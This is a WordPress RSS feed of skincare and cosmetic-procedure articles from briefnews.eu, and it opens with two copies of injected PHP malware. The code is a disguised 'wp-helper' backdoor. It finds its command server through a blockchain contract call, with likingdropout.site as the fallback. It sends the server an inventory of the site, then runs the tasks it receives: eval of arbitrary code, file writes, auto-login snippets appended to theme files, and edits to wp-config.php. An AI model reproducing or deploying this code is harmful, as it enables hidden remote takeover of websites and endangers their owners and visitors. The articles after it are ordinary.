// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cosmetics – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Apr 2021 15:45:58 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cosmetics – Brief News https://briefnews.eu 32 32 Why You Should Be Using A Night Cream https://briefnews.eu/why-you-should-be-using-a-night-cream/ https://briefnews.eu/why-you-should-be-using-a-night-cream/#respond Wed, 14 Apr 2021 15:45:58 +0000 https://briefnews.eu/?p=264573

This article is originally posted on Proven Skincare.

If you have a skincare routine or just subscribe to the basics of skincare, you’ve probably tried a night cream—maybe you even use it every night (good for you!). But have you ever wondered why your skin might require a different moisturizer at night versus during a daily moisturizer? Is it some kind of marketing ploy, or is there any truth to the notion that your skin prefers one kind of cream at night and another during the day? We’ve got the scoop.

WHY NIGHT CREAM?

Night time is prime time for our bodies to repair, regenerate, and restore—and the skin, being the body’s largest organ, certainly takes part in the action. So, it’s no wonder that beauty products, particularly night face creams, contain more active ingredients than daily moisturizers do, because the skin is already in recharge mode and can really make the most of a potent formula. But, it’s also worth noting that many of the stronger anti-aging ingredients found in night creams increase UV sensitivity, so they’re best used after the sun’s gone down (this is also why it’s important to pair a night cream with a day cream containing SPF to protect your skin against free radicals during waking hours).

While many use the same moisturizing cream or lotion for both day and night when choosing skincare products, they may be wasting some benefits. Most day moisturizers are formulated with sunscreen which is something you should wear everyday, without fail, no matter the weather. UV rays are present when it’s sunny, overcast or windy. Unless you live in the land of the midnight sun, SPF is not necessary at night.

THE BEST NIGHT CREAM FOR YOU

All night time moisturizers are not created equally—and that’s a good thing, because no two faces have the same needs. But it also means that the marketplace is cluttered with products, each claiming to do something different. How do you ensure that a night cream will deliver on its promises—and better yet, will work for your skin type specifically? The answer lies in that fine-print ingredient list on the back of the product package. Knowing what to look for here is a crucial step in finding your match.

Beneficial night cream ingredients, like glycerides, fatty acids, and ceramides, moisturize and repair the skin barrier, so they’re perfect for rejuvenating dry skin. You may see them paired with some firming ingredients, like retinol, lactic acid, and peptides, which tighten the skin and support collagen production. Then also on the anti-aging front, you have your antioxidant ingredients, like vitamin A, vitamin E, CoQ10, and green tea, which protect against sun damage and environmental stressors—as well as hyperpigmentation-fighters, like hydroquinone, kojic acid, and licorice, which even out the skin tone. Glycolic acid offers overnight benefits, addressing texture, tone and help diminish the appearance of fine lines and wrinkles.

You may notice your skin actually looks better, first thing in the morning. When you sleep (increased sleep also helps), your body goes into a type of repair mode and this is when it produces new cells that help boost collagen production. You’ll also notice how tired you look after a poor night’s sleep as lack of sleep will interrupt collagen production.

Of course, it’s not just about the ingredient names listed on the package. Levels of ingredient concentration matters too, which is why the personalized skincare movement has proven so valuable. Some ingredients, like retinol, can cause irritation in unaccustomed skin, while skin that’s well-acquainted with retinoids might need a stronger formula in order for it to have any impact. So, starting light and building up is key. And, remember, just because it’s a night cream, doesn’t mean it’s an overnight miracle. Since the average person’s skin cells experience a full turnover about once every month, you should give a new formula at least that long before you give up on it.

THE VERDICT

Yes, night creams really are worth it—but as a caveat, you have to know what you’re looking for when adding one to your beauty routine. No one formula works for everybody. And, if trial and error isn’t your thing (or your bank account’s!), personalized skincare, where you can have a custom formula created, tailored to your skin, and enjoy some real beauty sleep, once and for all.

]]> https://briefnews.eu/why-you-should-be-using-a-night-cream/feed/ 0 How to Find the Best Skincare Products for Men https://briefnews.eu/how-to-find-the-best-skincare-products-for-men/ https://briefnews.eu/how-to-find-the-best-skincare-products-for-men/#respond Wed, 17 Mar 2021 11:40:20 +0000 https://briefnews.eu/?p=264055

This article is originally posted on Proven Skincare.

Gentlemen.

There is more to a skincare routine than your morning shave.

If your facial care routine consists of a razor and some random shaving cream – listen up. Men’s skincare is not a luxury, it’s a necessity. Everything from cleansers, moisturizers to sunscreen should be part of your skincare regimen.

You cannot hide behind that beard or scruff forever.

Many men prefer beards to shaving so they don’t have to deal with irritation and skin issues that many experience. Well, skin issues may be rooted in your lifestyle, genetics or how you’re treating your skin, so don’t blame your razor. However, if shaving is the sum of your grooming practice, this can contribute to a build up of dirt, sebum and dead skin cells leading to clogged pores, blackheads, blemishes and ingrown hairs that will further cause that irritation that you’re trying to avoid.

Admit it. You spend more time caring for car or your smart phone than your skin. Getting rid of that “5 o’clock shadow” or trimming your beard should be part of your routine, not your only routine. Just like your car, skin needs maintenance, too.

The most important step of the day – and night.

Cleansing your face in the morning, and at night, should be as routine as brushing your teeth.

The best start to your skincare routine is to open up those pores in a warm shower. The steam will help as well as loosen up dirt and impurities on the skin surface. If you have a fuller beard, soak in that steam for a few extra minutes.

Once those pores have had a chance to open up, wash your face, and your neck, with a daily facial cleanser best suited to your skin. Choose men’s skin care products (don’t bother with your wife’s or girlfriend’s brand) as they are specifically formulated for men’s thicker facial skin and larger pores. Using a face scrub or exfoliator could prove helpful to your overall skin health, removing, excess oil, stubborn dry skin or dead skin cells.

What type of skin do you have?

Greasy nose and forehead, blackheads? Probably oily skin. A balancing cleanser will remove impurities and help control oil without drying skin. Bar soap is good, but specially-formulated facial cleansers are better. Lather up.

Itchy cheeks, redness? Sounds like dry skin. A gentle exfoliating cleanser, with natural ingredients, will whisk away dirt and dead skin, leaving it feeling nourished and comfortable.

Breakouts? Acne-prone skin can benefit from an anti-bacterial gel cleanser, washing away excess dirt and sebum and clearing clogged pores.

Rashes, irritation? This could be sensitive skin caused by anything from pollution, food allergies, stress or harsh products. Try an all-natural face wash that is fragrance-free.

No skin issues? Well, lucky you. A gentle daily cleanser will keep skin balanced and healthy-looking.

In addition to cleansing, moisturizing is key. Hydrating skin will keep fine lines and wrinkles diminished. A cream or lotion with sunscreen or an SPF 30 will protect skin from harmful UV rays when you’re on the beach, slopes or doing other outdoor activities. A retinol-based face moisturizer will address and diminish signs of aging (you call them smile lines). You may also start to notice puffiness or dark circles. Add an eye cream to your skin care routine. Bearded fellows – condition that facial hair. Use a beard oil to keep that fuzzy face in check. A groomed beard is much more attractive and professional. A finished touch? A lip balm, preferably on with sunscreen, to keep lips soft and hydrated.

The shift to personalized skincare

No matter what type of skin you have or cleanser you choose, wash your face, and neck area, in the morning and at night. Showering first will open pores and cleansing skin will hydrate it, and prepped and in better condition for shaving. Complete your routine with a moisturizer with SPF for the AM and a night cream for the PM. Adding an exfoliator and eye cream will add to optimal skin health.

And, since every skin is as unique as your fingerprint, it may be time to research personalized skincare. Customized products focus on your skin’s specific needs and issues; one man’s irritated skin can be the result of an allergy, while another’s irritated skin may be caused by something in his diet.

Proven™ is personalized skincare. By taking a targeted skin assessment that focuses on your lifestyle, diet and other factors, Proven can pinpoint your specific skin type and issues, and formulate a daily (and nightly) skincare regimen, with a facial cleanser and moisturizers, perfectly suited to your unique skin.

Ready to take your Personal Skin Care Assessment? CLICK HERE.

]]> https://briefnews.eu/how-to-find-the-best-skincare-products-for-men/feed/ 0 8 Cosmetic Procedures You Haven’t Heard Of https://briefnews.eu/8-cosmetic-procedures-you-havent-heard-of/ https://briefnews.eu/8-cosmetic-procedures-you-havent-heard-of/#respond Thu, 10 Oct 2019 08:26:53 +0000 http://briefnews.eu/?p=255583 Article was originally published on Aedit.
Cosmetic treatments are on the rise in the U.S. and most of us are aware of common procedures like breast augmentations, face lifts and tummy tucks. But thanks to medical developments, our options are no longer limited to the classics.

Cosmetic treatments are on the rise in the U.S., particularly in urban centers like Los Angeles and New York, and most of us are aware of common cosmetic procedures like breast augmentations, face lifts and tummy tucks. Even if we haven’t gotten them ourselves, chances are we know someone who has.

According to Beverly Hills plastic surgeon Walt Sweeney, MD, there are five areas patients commonly seek to change. “The majority of patients we see desire a face refresh, breast augmentation, improvement of the abdomen (especially after pregnancy or weight loss), removal of unwanted pockets of fat, or improved nasal contours,” he says. These common themes are why certain procedures are so well known. Face lifts, chemical peels and BOTOX® (botulinum toxin) refresh faces, breast implants are common breast augmentation procedures, tummy tucks address abdominal issues, liposuction treats unwanted fat, and rhinoplasty (nose jobs) are used to change nasal contours. In today’s world, most Americans have an awareness of what these procedures entail.

The cosmetic surgery industry is expanding and, thanks to medical developments and an increase in the number of trained plastic surgeons, our options are no longer limited to the classics. More treatments are available to those who want to nip and tuck less conventional areas. Patient demand, increased surgical sophistication and shorter healing times have been instrumental in an increase in procedures like brachioplasty (arm lift), facial hair implants, blepharoplasty (eyelid surgery) and vaginal rejuvenation. So what are some of the cutting edge procedures you haven’t even heard of yet? Read on to find out.

Vampire Face Lift

No, it’s not the title of a monster movie. The Vampire Face Lift is a non-invasive skin rejuvenation treatment, not a surgery, that uses PRP (Platelet Rich Plasma) to enhance facial skin, lift brows, reduce the appearance of fine lines and wrinkles, even skin tone, and encourage healing and cell regeneration.

